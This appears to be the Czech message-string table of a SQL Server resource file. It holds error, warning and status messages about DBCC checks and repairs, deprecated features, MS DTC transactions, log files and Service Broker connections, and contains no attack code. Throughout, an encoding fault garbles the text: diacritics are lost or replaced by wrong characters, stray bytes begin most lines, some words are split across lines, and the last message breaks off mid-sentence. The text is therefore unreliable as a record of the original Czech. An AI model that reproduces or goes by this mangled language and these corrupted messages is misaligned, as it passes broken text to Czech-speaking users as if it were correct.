�Nativn� podpora protokolu SOAP syst�mu SQL Server ji~ nen� pou~�v�na a bude z budouc�ch verz� syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

Oprava: Str�nka %1!s! byla pYidlena k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!).

(Oprava: Pro str�nku %1!s! bylo zruaeno pYidlen� k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!).

Oprava: Rozsah %1!s! byl pYidlen k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!).

$Oprava: Pro rozsah %1!s! bylo zruaeno pYidlen� k ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!).

pOprava: Str�nka %1!s! v %2!s! byla znovu sestavena.

XOprava: Xetz IAM pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) byl zkr�cen pYed str�nkou %6!s! a bude znovu vytvoYen.

|Oprava: Byl odstrann z�znam pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) na str�nce %6!s!, pozici %7!s!. Indexy budou znovu sestaveny.

POprava: Byl pYeveden pYedan� z�znam pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) na str�nce %6!s!, pozici %7!s!.

�Oprava: N�sleduj�c� str�nka %1!s! a pYedchoz� ukazatele objektu %2!s! byly nastaveny tak, aby si vz�jemn odpov�daly v ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!).

�V syst�mov�m katalogu pro ID datab�ze %2!s! bylo zpracov�no %1!s! z�znamo.

hTabulka %1!s!                ID objektu %2!s!.

�ID indexu %1!s!, ID odd�lu %2!s!, ID aloka
n� jednotky %3!s! (typ %4!s!). FirstIAM %5!s!. KoYen %6!s!. Dpages %7!s!.

 ID indexu %1!s!, ID odd�lu %2!s!, ID aloka
n� jednotky %3!s! (typ %4!s!). V celkem %6!s! vyhrazen�ch rozsaz�ch bylo pou~ito %5!s! str�nek.

HCelkov� po
et rozsaho je %1!s!.

dPY�kaz DBCC %1!s! prohled�v� tabulku %2!s!...

�Tabulka: %1!s! (%2!s!); ID indexu: %3!s!, ID datab�ze: %4!s!

TProvedeno prohled�n� na �rovni %1!s!.

�  Po
et prohledan�ch str�nek................................: %1!s!

�  Po
et prohledan�ch rozsaho..............................: %1!s!

�  Po
et pYep�na
o rozsahu..............................: %1!s!

�  Prom. po
et str�nek na rozsah........................: %1!s!

�  Hustota prohled�v�n� [nejlepa� po
et:skute
n� po
et].......: %1!s!%2!s! [%3!s!:%4!s!]

�  Fragmentace logick�ho prohled�v�n� ..................: %1!s!%2!s!

�Upozornn�: Z dovodu chyby opera
n�ho syst�mu nebylo mo~n� dokon
it kontrolu konzistence datov�ho proudu souboru. Chyby konzistence, na kter� syst�m narazil v podsyst�mu datov�ho proudu souboru, budou potla
eny. Chcete-li z�skat dala� informace, pod�vejte se na dala� chyby. Tato podm�nka je pravdpodobn pYechodn�. Zkuste pY�kaz spustit znovu.

�  Fragmentace prohled�v�n� rozsahu..................: %1!s!%2!s!

�  Prom. po
et bajto na str�nku.....................: %1!s!

�  Prom. hustota str�nky (pln�).....................: %1!s!%2!s!

�V pYechodn�m stavu nelze zobrazit zadanou vyrovn�vac� pame identifik�toru SPID.

�Oprava: Byl odstrann soubor FILESTREAM %1!s! pro ID sloupce %2!s!, pro ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!) na str�nce %8!s!, pozici %9!s!.

�Upozornn�: Je pou~ita mo~nost NO_INDEX pY�kazu %1!s!. Budou vynech�ny kontroly pro jin� ne~ syst�mov� indexy.

`Informace o transakc�ch pro datab�zi %1!s!.

L%1!s!Nejstara� aktivn� transakce:

\    SPID (ID procesu serveru): %1!s!%2!s!

L    UID (u~ivatelsk� ID) : %1!s!

@    N�zev          : %1!s!

�    PoYadov� 
�slo polo~ky (LSN)           : (%1!s!:%2!s!:%3!s!)

8    as spuatn�: %1!s!

<    SID           : %1!s!

`Replikovan� informace o transakc�ch %1!s!:

�        Nejstara� distribuovan� hodnota LSN     : (%1!s!:%2!s!:%3!s!)

�        Nejstara� nedistribuovan� hodnota LSN : (%1!s!:%2!s!:%3!s!)

�Po
et str�nek v souboru %1!s! v datab�zi %2!s! nelze zmenait na hodnotu %3!s!, proto~e soubor obsahuje jen %4!s! str�nek.

�PY�kaz DBCC CheckDatabase na datab�zi prostYedko bude pYesko
en, proto~e u~ivatel %1!s! nem� opr�vnn�.

(K prov�dn� roza�Yen� ulo~en� procedury %3!s! se pou~�v� %1!s!, verze %2!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Knihovna DLL roza�Yen� ulo~en� procedury %1!s! neexportuje funkci __GetXpVersion(). Dala� informace najdete v dokumentaci v t�matu pojedn�vaj�c�m o detailech zptn� kompatibility (�roveH 1)   Open Data Services.

�Knihovna DLL roza�Yen� ulo~en� procedury %1!s! hl�s� verzi %2!s!.%3!s!. Je o
ek�v�na verze %4!s!.%5!s!.

�Upozornn�: Hodnota null je eliminov�na agregac� nebo jinou operac� SET.

�Nelze nal�zt tabulku %1!s!. Syst�m se pokus� pYelo~it n�zev t�to tabulky pozdji.

xPou~it� parametru level0type, kter� m� v procedur�ch sp_addextendedproperty, sp_updateextendedproperty a sp_dropextendedproperty a ve funkci vracej�c� tabulku fn_listextendedproperty hodnotu USER, je zastaral�. V budouc� verzi syst�mu SQL Server bude odebr�n. U~ivatel� jsou nyn� zahrnuti v oboru sch�matu, a proto pro roza�Yen� vlastnosti tY�dy User pou~�vejte parametr level0type s hodnotou SCHEMA a parametr level1type s hodnotou USER.

�PY�kazy CREATE RULE a DROP RULE budou v budouc� verzi syst�mu SQL Server odebr�ny. PY�kazy CREATE RULE a DROP RULE nepou~�vejte pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� je pou~�vaj�. M�sto nich pou~ijte omezen� CHECK, kter� se vytv�Yej� pomoc� kl�
ov�ho slova CHECK pY�kazu CREATE TABLE nebo ALTER TABLE.

�PY�kazy CREATE DEFAULT a DROP DEFAULT budou v budouc� verzi syst�mu SQL Server odebr�ny. PY�kazy CREATE DEFAULT a DROP DEFAULT nepou~�vejte pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� je pou~�vaj�. M�sto nich pou~ijte v�choz� definice vytvoYen� pomoc� kl�
ov�ho slova DEFAULT pY�kazu ALTER TABLE nebo CREATE TABLE.

�Funkce INDEXKEY_PROPERTY bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� ji pou~�vaj�. M�sto n� pou~�vejte zobrazen� sys.index_columns.

�Funkce TEXT IN ROW bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte proceduru sp_tableoption pro mo~nost TEXT IN ROW pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� mo~nost TEXT IN ROW pou~�vaj�. UpYednostHovanou metodou ukl�d�n� velk�ho mno~stv� dat je pou~it� datov�ch typo varchar(max), nvarchar(max) a varbinary(max).

lPou~it� parametru level0type, kter� m� v procedur�ch sp_addextendedproperty, sp_updateextendedproperty a sp_dropextendedproperty a ve funkci vracej�c� tabulku fn_listextendedproperty hodnotu TYPE, je zastaral�. V budouc� verzi syst�mu SQL Server bude odebr�n. Typy jsou nyn� zahrnuty v oboru sch�mat, a proto pro roza�Yen� vlastnosti tY�dy Type pou~�vejte parametr level0type s hodnotou SCHEMA a parametr level1type s hodnotou TYPE.

�Funkce FILE_ID bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� ji pou~�vaj�. M�sto n� pou~ijte funkci FILE_IDEX.

�Funkce USER_ID bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� ji pou~�vaj�. M�sto n� pou~ijte funkci DATABASE_PRINCIPAL_ID.

Funkce @@REMSERVER bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte pozmnn� aplikac�, kter� ji pou~�vaj�. M�sto n� pou~ijte odkazovan� servery a ulo~en� procedury odkazovan�ch servero.

Pou~it� pomocn�ch parametro NOLOCK a READUNCOMMITTED v klauzuli FROM pY�kazu UPDATE 
i DELETE v c�lov� tabulce pY�kazu (%1!s!) je zastaral�. Tyto pomocn� parametry nemaj� v tomto um�stn� ~�dn� �
inek. Spole
nost Microsoft doporu
uje, abyste tyto pomocn� parametry z tohoto pY�kazu odebrali. V budouc�ch verz�ch syst�mu SQL Server bude podpora pro tyto pomocn� parametry odebr�na.

 Funkce RAISERROR ve star�m stylu (form�t: RAISERROR Yetzec cel�ch 
�sel) bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ji pou~�vaj�, aby pou~�valy nov� styl funkce RAISERROR.

�ZprostYedkovatel SQLOLEDB ji~ nen� podporovan�m zprostYedkovatelem. K pYipojen� k syst�mu SQL Server pomoc� odkazovan�ho serveru %1!s! pou~ijte zprostYedkovatele Nativn� klient syst�mu SQL (SQLNCLI)

lZprostYedkovatel SQLOLEDB ji~ nen� podporovan�m zprostYedkovatelem. PYipojen� ad hoc k syst�mu SQL Server nav�~ete pomoc� zprostYedkovatele Nativn� klient syst�mu SQL (SQLNCLI).

Zad�n� pomocn�ch parametro tabulky bez pou~it� kl�
ov�ho slova WITH je zastaral�. Tato funkce bude v budouc� verzi odebr�na.

\Pou~it� mezery jako oddlova
e pomocn�ch parametro tabulky je zastaral�. Tato funkce bude v budouc� verzi odebr�na. Jednotliv� pomocn� parametry tabulky oddlte 
�rkou.

Seznam select agregovan�ho indexovan�ho zobrazen� mus� obsahovat funkci count_big(*) v re~imu kompatibility o hodnot 90 nebo vyaa�.

�Pou~it� pomocn�ho parametru %1!s! v c�lov� tabulce pY�kazu INSERT je zastaral�, proto~e se v budouc� verzi syst�mu SQL Server bude pravdpodobn odebr�no. ZmHte pY�kaz INSERT, aby tento pomocn� parametr nepou~�val.

(NepY�m� pou~it� pomocn�ch parametro tabulky k vyvol�n� v�cepY�kazov� funkce vracej�c� tabulku (TVF) pomoc� zobrazen� bude v budouc� verzi syst�mu SQL Server odebr�no. Odeberte pomocn� parametry odkazuj�c� na zobrazen� %1!s!, proto~e odkazuj� na v�cepY�kazovou funkci TVF.

�Mo~nost vracet v�sledky z aktiva
n�ch ud�lost� bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ji pou~�vaj�.

XOpr�vnn� ALL bude v budouc� verzi syst�mu SQL Server odebr�no. Nepou~�vejte toto opr�vnn� pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ho pou~�vaj�.

�Syntaxe vol�n� funkce :: bude v budouc� verzi syst�mu SQL Server odebr�na. M�sto n� pou~ijte syntaxi sys..

\Pou~it� n�zvo, kter� maj� dv 
�sti, je v pY�kazu DROP INDEX zastaral�. Nov� syntaxe vypad� takto: DROP INDEX <1p-n�zev> ON {<3p-n�zev-tabulky> | <3p-n�zev-zobrazen�> }

�Mo~nost nezadat n�zev sloupce, je-li datov�m typem 
asov� raz�tko, bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ji pou~�vaj�.

Pou~it� zastaral� syntaxe mo~nosti indexu. Zastaral� struktura syntaxe mo~nosti rela
n�ho indexu bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto strukturu syntaxe pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ji pou~�vaj�.

�Funkce %1!s! bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�. Pou~ijte m�sto n� funkci %2!s!.

Datov� typy TEXT, NTEXT a IMAGE budou v budouc� verzi syst�mu SQL Server odebr�ny. Nepou~�vejte je pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� je pou~�vaj�. Pou~�vejte m�sto nich datov� typy varchar(max), nvarchar(max) a varbinary(max).

�Pou~it� n�zvo sloupco, kter� maj� v�ce ne~ dv 
�sti, bude v budouc� verzi syst�mu SQL Server odebr�no. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte zmnu aplikac�, kter� ji pou~�vaj�.

XFunkce %1!s! bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

tMetoda QueryInterface se pro %1!s! nezdaYila: %2!s!.

�Distribuovan� transakce s parametrem UOW %1!s! se musela zapsat. Slu~ba MS DTC se stala do
asn nedostupnou a vynutila si heuristick� vyYeaen� transakce. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Distribuovan� transakce s parametrem UOW %1!s! musela b�t vr�cena zpt.

�Syst�mov� proces s ID %1!s! se pokusil ukon
it distribuovanou transakci s ID parametru UOW %2!s!. Tato zpr�va se zobraz� tehdy, kdy~ klient v distribuovan� transakci provede pY�kaz KILL.

�Identifik�tor procesu serveru %1!s! se pokusil zapsat distribuovanou transakci s parametrem UOW %2!s!.

�Nejde zapsat pYipravenou transakci ze slu~by MS DTC (Microsoft Distributed Transaction Coordinator). Server se vyp�n� a bude inicializov�no zotaven� spr�vce prostYedko. Po zotaven� spr�vce prostYedko bude spr�vce transakc� dot�z�n na v�sledek nejist�ch transakc�, kter� budou podle potYeby zaps�ny nebo vr�ceny zpt.

�Nezn�m� stav z�pisu dvojf�zov�ho z�pisu transakce. Server se vyp�n�. Restartujte server a dokon
ete obnoven�.

|Nezn�m� stav %1!s! z vol�n� metody Reenlist v rm_resolve.

�Knihovnu slu~by MS DTC (Microsoft Distributed Transaction Coordinator) nelze na
�st. Tato chyba znamen�, ~e slu~ba MS DTC nen� nainstalov�na. Chcete-li pokra
ovat, nainstalujte slu~bu MS DTC.

`VytvoYen� spr�vce prostYedko selhalo: %1!s!

xSlu~ba DTC nebyla inicializov�na, proto~e je nedostupn�

tVol�n� metody GetWhereaboutsSize se nezdaYilo: %1!s!

�Inicializace slu~by MS DTC se nezdaYila, proto~e adresa spr�vce transakc� je neplatn�. Element protokolu nesouc� informace o adrese je pravdpodobn pY�lia velk�. Dala� informace o pY�
in mo~ete nal�zt v analyz�toru s�eov�ch protokolo. Obraete se na zprostYedkovatele podpory aplikace nebo na oddlen� Microsoft Product Support Services.

XFunkce RegCloseKey se nezdaYila: %1!s!

�Inicializace slu~by MS DTC (Microsoft Distributed Transaction Coordinator) se nezdaYila z dovodu nedostatku pamti. Pravdpodobn bude tYeba zmnit nkter� mo~nosti konfigurace serveru, aby bylo k dispozici v�ce voln� pamti.

HSlu~bu MS DTC (Microsoft Distributed Transaction Coordinator) nebylo mo~n� kontaktovat. Pokud vy~adujete funkci distribuovan�ch transakc�, spusete tuto slu~bu.

�Prob�h� pokus o obnoven� nejist�ch distribuovan�ch transakc� t�kaj�c�ch se slu~by MS DTC (Microsoft Distributed Transaction Coordinator). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Obnoven� vaech nejist�ch distribuovan�ch transakc� t�kaj�c�ch se slu~by MS DTC (Microsoft Distributed Transaction Coordinator) bylo dokon
eno. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�PYipojen� ke slu~b MS DTC (Microsoft Distributed Transaction Coordinator) bylo ztraceno. Vaechny nejist� distribuovan� transakce t�kaj�c� se slu~by MS DTC (Microsoft Distributed Transaction Coordinator) budou obnoveny, jakmile bude pYipojen� znovu nav�z�no. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

,PYi pokusu ur
it stav slu~by RPCSS doalo k chyb. Vol�n� %1!s! vr�tilo: %2!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Nejde potvrdit pYipravenou transakci ze slu~by MS DTC (Microsoft Distributed Transaction Coordinator). Server restartuje datab�zi a obnoven� MS DTC by mlo vyYeait jak�koliv nejist� transakce.

PUvolnil se spr�vce prostYedko MS DTC (Microsoft Distributed Transaction Coordinator) [%1!s!]. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�Slu~b MS DTC (Microsoft Distributed Transaction Coordinator) se nepovedlo prov�st vol�n� Reenlist, proto~e se RMID datab�ze neshoduje s RMID [%1!s!] pYidru~en�m k transakci. VyYeate transakci ru
n.

SQL Server se nemo~e pYipojit ke slu~b MS DTC (Microsoft Distributed Transaction Coordinator). Zkontrolujte nastaven� zabezpe
en� MSDTC, a pokud b~� Always On, zajistte, aby pravidlo firewallu SQL Serveru povolovalo pY�choz� dynamick� pYipojen� RPC.

�Inicializuje se spr�vce prostYedko MS DTC (Microsoft Distributed Transaction Coordinator) [%1!s!] pro datab�zi %2!s!. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�SQL Server nemo~e z�skat v�sledek ze slu~by MS DTC (Microsoft Distributed Transaction Coordinator) pro transakci s UOW %1!s!, proto~e u~ existuje jin� spr�vce prostYedko se stejn�m RMID.

Operace vytvoYen� indexu pou~ije %1!s! kB pamti zadan� v upYesHuj�c� mo~nosti min memory per query (KB) procedury sp_configure nam�sto hodnoty %2!s! kB zadan� v mo~nosti index create memory (KB), proto~e prvn� z v�ae uveden�ch hodnot mus� b�t mena� ne~ druh�.

Pomocn� parametry indexu pro tabulku %1!s! byly ignorov�ny, proto~e tabulka byla pova~ov�na za tabulku fakto v hvzdicov�m spojen�.

�Upozornn�: PoYad� spojen� bylo vynuceno, proto~e se pou~�v� m�stn� pomocn� parametr spojen�.

D        Chyba byla opravena.

�%1!s! opravil %2!s! chyb pYidlen� a %3!s! chyb konzistence v datab�zi %4!s!.

�Nespr�vn� informace PFS o voln�m m�st pro str�nku %1!s! v ID objektu %2!s! ID indexu %3!s! ID odd�lu %4!s! ID aloka
n� jednotky %5!s! (typ %6!s!). O
ek�v�na hodnota %7!s!, skute
n� hodnota %8!s!.

�           Soubor %1!s! (po
et sm�aen�ch rozsaho = %2!s!, sm�aen� str�nky = %3!s!).

T    ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), rozsahy dat %6!s!, str�nky %7!s!, str�nky se sm�aen�m rozsahem %8!s!.

\    ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), rozsahy indexu %6!s!, str�nky %7!s!, str�nky se sm�aen�m rozsahem %8!s!.

�       (po
et sm�aen�ch rozsaho = %1!s!, sm�aen� str�nky = %2!s!) v datab�zi.

P        Chybu nebylo mo~n� opravit.

�        �roveH opravy pY�kazu DBCC zposobila, ~e tato oprava byla vynech�na.

�        Oprava t�to chyby vy~aduje, aby byly nejprve opraveny jin� chyby.

�%1!s! opravil %2!s! chyb pYipojen� a %3!s! chyb konzistence v tabulce %4!s! (ID objektu %5!s!).

dOprava: Odstrann sloupec dat mimo Y�dek s ID %1!s! pro ID objektu %2!s! ID indexu %3!s! ID odd�lu %4!s! ID aloka
n� jednotky %5!s! (typ %6!s!) na str�nce %7!s! slotu %8!s!.

�%1!s! nalezl %2!s! chyb pYidlen� a %3!s!chyb konzistence, kter� nejsou pYidru~eny k ~�dn�mu samostatn�mu objektu.

0%1!s!DBCC %2!s! (%3!s!%4!s!%5!s!)%6!s! proveden� %7!s! nalezl %8!s! chyby. Opravil %9!s! chyb. Uplynul� 
as: %10!s! hod %11!s! min %12!s! s. %13!s!

�%1!s! je minim�ln� �roveH opravy pro chyby nalezen� pomoc� pY�kazu DBCC %2!s! (%3!s!%4!s!%5!s!).

�Kontrola kY�~ov� sady Y�dku pY�kazem DBCC se u objektu %1!s! (ID objektu %2!s!) nezdaYila, proto~e doalo k vnitYn� chyb dotazu %3!s!, z�va~nost %4!s!, stav %5!s!. Dala� informace o t�to chyb naleznete na webu Knihy online.

Soubor %1!s!. Rozsahy %2!s!, pou~it� str�nky %3!s!, rezervovan� str�nky %4!s!, sm�aen� rozsahy %5!s!, sm�aen� str�nky %6!s!.

�%1!s! nalezl %2!s! chyb pYidlen� a %3!s! chyb konzistence v datab�zi %4!s!.

�%1!s! nalezl %2!s! chyb pYipojen� a %3!s! chyb konzistence v tabulce %4!s! (ID objektu %5!s!).

�Chyby pYidlen� datab�ze tempdb br�n� dala�mu zpracov�n� %1!s!.

Soubor protokolu %1!s! (%2!s!) nelze zmenait, proto~e celkov� po
et logick�ch souboro protokolu nesm� b�t mena� ne~ %3!s!.

,Soubor protokolu %1!s! (%2!s!) nelze zmenait, proto~e po~adovan� velikost (%3!s!kB) je vta� ne~ za
�tek posledn�ho logick�ho souboru protokolu.

�Soubor protokolu %1!s! (%2!s!) nelze zmenait, proto~e logick� soubor protokolu um�stn� na konci souboru se pou~�v�.

�Soubor protokolu %1!s! (%2!s!) nelze zmenait z dovodu po~adavku na minim�ln� m�sto pro soubor protokolu.

Existuj� %1!s! nespr�vn zarovnan� V/V protokolu, kter� po~aduj� n�vrat k synchronn�mu V/V. Aktu�ln� V/V je v souboru %2!s!.

HKonec protokolu pro datab�zi %1!s! se pYepisuje, aby vyhovoval nov� velikosti sektoru (%2!s! bajto). Bude zaps�no %3!s! bajto na posunu %4!s! v souboru %5!s!.

�Datab�ze %1!s! m� v�ce ne~ %2!s! virtu�ln�ch souboro protokolu, co~ je pY�lia velk� po
et. PY�lia vysok� po
et virtu�ln�ch souboro protokolu m� za n�sledek dlouhotrvaj�c� spouatn� a z�lohov�n�. Zva~te, zda byste nemli protokol zmenait a pou~�t jin� pY�rostek zvtaen�, 
�m~ by se sn�~il po
et virtu�ln�ch souboro protokolu.

�Doalo k chyb %2!s! vstupn-v�stupn�ch operac� konsolidovan�ho protokolu (%1!s!) v hostitelsk� datab�zi %3!s! pro klienta %4!s!, soubor %5!s!, pozice 0x%6!s!. Zkontrolujte pYedchoz� chyby.

Zdroj m� zapnut� nastaven� PERSISTENT_LOG_BUFFER, ale aktu�ln� zaY�zen� nen� svazek DAX. PERSISTENT_LOG_BUFFER bylo nastaveno na OFF.

�Virtu�ln� soubor protokolu %1!s! se nepovedlo registrovat u slu~by zapoj
en� protokolu s chybou 0x%2!s!.

Nejde zah�jit zapoj
en� pro virtu�ln� soubor protokolu %1!s! pro ID pY�jemce %2!s! u slu~by zapoj
en� protokolu s chybou 0x%3!s!.

�Nejde ukon
it zapoj
en� pro ID pY�jemce %1!s! u slu~by zapoj
en� protokolu s chybou 0x%2!s!.

t%1!s! je vybr�no pro operaci vypr�zdnn� pamti PMEM.

�PYi inicializaci vypr�zdnn� doalo k v�jimce. Pro operaci vypr�zdnn� pamti PMEM je vybran� v�choz� CLFLUSH.

pUpozornn�: Vytv�Yen� a aktualizace statistik v t�to verzi SQL Server vynut� �PLN� PROHLED�V�N�. Pokud se zachov�v� procentu�ln� vzorek, hodnota persisted_sample_percent bude 100.

Upozornn�: Ignorov�n� mo~nosti STREAMING_STATISTICS jako podkladov� tabulky nesplHuje vaechna krit�ria pro statistiky streamov�n�.

�Aktivn� odbry ozn�men� dotaz %1!s! v datab�zi %2!s!, kter� vlastn� identifik�tor zabezpe
en� %3!s!, byly vyYazeny.

�Dialog ozn�men� dotazu v popisova
i konverzace %1!s! byl ukon
en z dovodu t�to chyby: %2!s!.

`Doru
en� ozn�men� dotazu nemohlo odeslat zpr�vu pro dialog %1!s!. Doru
en� ozn�men� %2!s! se nezdaYilo, proto~e ve slu~b Service Broker doalo k n�sleduj�c� chyb: %3!s!.

Kontrola 
ekaj�c�ch ozn�men� dotazu se v datab�zi %1!s! nezdaYila, proto~e pYi otev�r�n� datab�ze doalo k n�sleduj�c� chyb: %2!s!.

@Odbr ozn�men� dotazu nemohl pYistoupit k datab�zi s ID %1!s!. Nelze otevY�t dialogov� okno slu~by Service Broker pro n�zev slu~by %2!s! a instanci %3!s!.

�Odbr ozn�men� dotazu %1!s!, kter�mu vypraela platnost, se nepodaYilo odstranit.

�Nepou~�vanou vnitYn� tabulku ozn�men� dotazu %1!s! se v datab�zi %2!s! nepodaYilo vyYadit.

�Dialog ozn�men� dotazu v popisova
i konverzace %1!s! byl ukon
en, proto~e ve slu~b Service Broker doalo k nezn�m chyb.

�Doru
en� ozn�men� dotazu nemohlo pro dialog %1!s! dos�hnout koncov�ho bodu dialogu. Doru
en� ozn�men� %2!s! se nezdaYilo, proto~e ve slu~b Service Broker doalo k n�sleduj�c� chyb: %3!s!.

�Aktivn� odbry ozn�men� dotazu %1!s!, kter� vlastn� identifik�tor zabezpe
en� %2!s!, byly vyYazeny.

�Doru
en� ozn�men� dotazu nemohlo pYistoupit k datab�zi s ID %1!s!. Doru
en� ozn�men� %2!s! se nezdaYilo.

PDialog slu~by Service Broker %1!s! nebylo mo~n� ukon
it, proto~e v datab�zi s ID %2!s! doalo k chyb, kterou zposobila tato chyba ve slu~b Service Broker: %3!s!.

�Doru
en� ozn�men� dotazu nemohlo pro dialog %1!s! dos�hnout koncov�ho bodu dialogu. Doru
en� ozn�men� dotazu se nezdaYilo, proto~e ve slu~b Service Broker doalo k n�sleduj�c� chyb: %2!s!. Dala� informace naleznete v protokolu chyb.

�Doru
en� ozn�men� dotazu nemohlo odeslat zpr�vu pro dialog %1!s!. Doru
en� ozn�men� dotazu se nezdaYilo, proto~e ve slu~b Service Broker doalo k n�sleduj�c� chyb: %2!s!. Dala� informace naleznete v protokolu chyb.

|Distributed Exchange pYesunul %1!s! Y�dko a %2!s! bajto.

XAnalyzovan� priority konverzace: %1!s!.

`Koncov� bod %1!s! je zak�z�n nebo zastaven.

@Analyzovan� slu~by: %1!s!.

LAnalyzovan� fronty slu~by: %1!s!.

`Analyzovan� koncov� body konverzace: %1!s!.

\Analyzovan� vazby vzd�len� slu~by: %1!s!.

XAnalyzovan� konverza
n� skupiny: %1!s!.

HAnalyzovan� typy zpr�v: %1!s!.

TAnalyzovan� kontrakty slu~by: %1!s!.

`Spr�vce slu~by Service Broker byl spuatn.

\Spr�vce slu~by Service Broker byl vypnut.

hKoncov� bod %1!s! nyn� naslouch� pro pYipojen�.

pKoncov� bod %1!s! pYestal naslouchat pro pYipojen�.

�Nelze spustit slu~bu Service Broker pro datab�zi s ID: %1!s!. Nastaly pot�~e, kter� br�n� syst�mu SQL Server spustit slu~bu Service Broker. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server.

�Slu~b Service Broker se nepodaYilo vy
istit koncov� body konverzace pro datab�zi %1!s!. Nastaly dala� pot�~e, kter� br�n� syst�mu SQL Server dokon
it tuto operaci. Dala� zpr�vy naleznete v protokolu chyb syst�mu SQL Server.

�Pokus o pYipojen� k c�lov�mu objektu %1!s! se nezdaYil. %2!s!

�Datab�ze %1!s! nebude spuatna jako zprostYedkovatel z dovodu duplikace v ID instance zprostYedkovatele.

�Aktivovan� procedura %1!s!, kter� je spuatna pro frontu %2!s!, m� n�sleduj�c� v�stup: %3!s!

�Pro identifik�tor URI %1!s! nen� k dispozici ~�dn� trasa proxy serveru clusteru.

�PYi spuatn�, vypnut� nebo aktualizaci spr�vce trasy proxy serveru clusteru doalo k chyb.

�Objekt %1!s! %2!s! byl pYi upgradu vyYazen, proto~e odkazoval na vyYazen� syst�mov� kontrakt.

\PYenos protokolem %1!s! nen� k dispozici.

�C�lov� fronta je zanepr�zdnna. Zpr�vy jsou zaYazeny ve front pro doru
en�.

HN�zvu c�lov� slu~by pro tuto konverzaci neodpov�d� ~�dn� trasa. VytvoYte trasu k n�zvu c�lov� slu~by pro zpr�vy t�to konverzace, kter� jsou ur
eny k doru
en�.

XOvYov�n� se nezdaYilo s chybou: %1!s!.

\PYipojen� %1!s! bylo odm�tnuto. U~ivatelsk� �
et vzd�len�ho serveru nem� opr�vnn� k pYihl�aen� do tohoto syst�mu SQL Server: U~ivatelsk� �
et: %2!s!, IP adresa: %3!s!.

hC�lov� slu~ba Service Broker je nedosa~iteln�.

hPokus o pYipojen� se nezdaYil s chybou: %1!s!.

TPYi pY�jmu dat doalo k chyb: %1!s!.

�Bhem pYipojov�n� k soused�c�mu zprostYedkovateli doalo k v�jimce: Chyba: %1!s!, stav: %2!s!. %3!s!

�Doalo k chyb s�eov�ho protokolu pro slu~bu Service Broker nebo Zrcadlen� datab�ze.

tDoalo k chyb pYi vyjedn�v�n� protokolu pYihlaaov�n�.

XPYi odes�l�n� dat doalo k chyb. %1!s!.

\PYipojen� bylo ne
inn� v�ce ne~ %1!s! s.

 PYi vyhled�v�n� certifik�tu veYejn�ho kl�
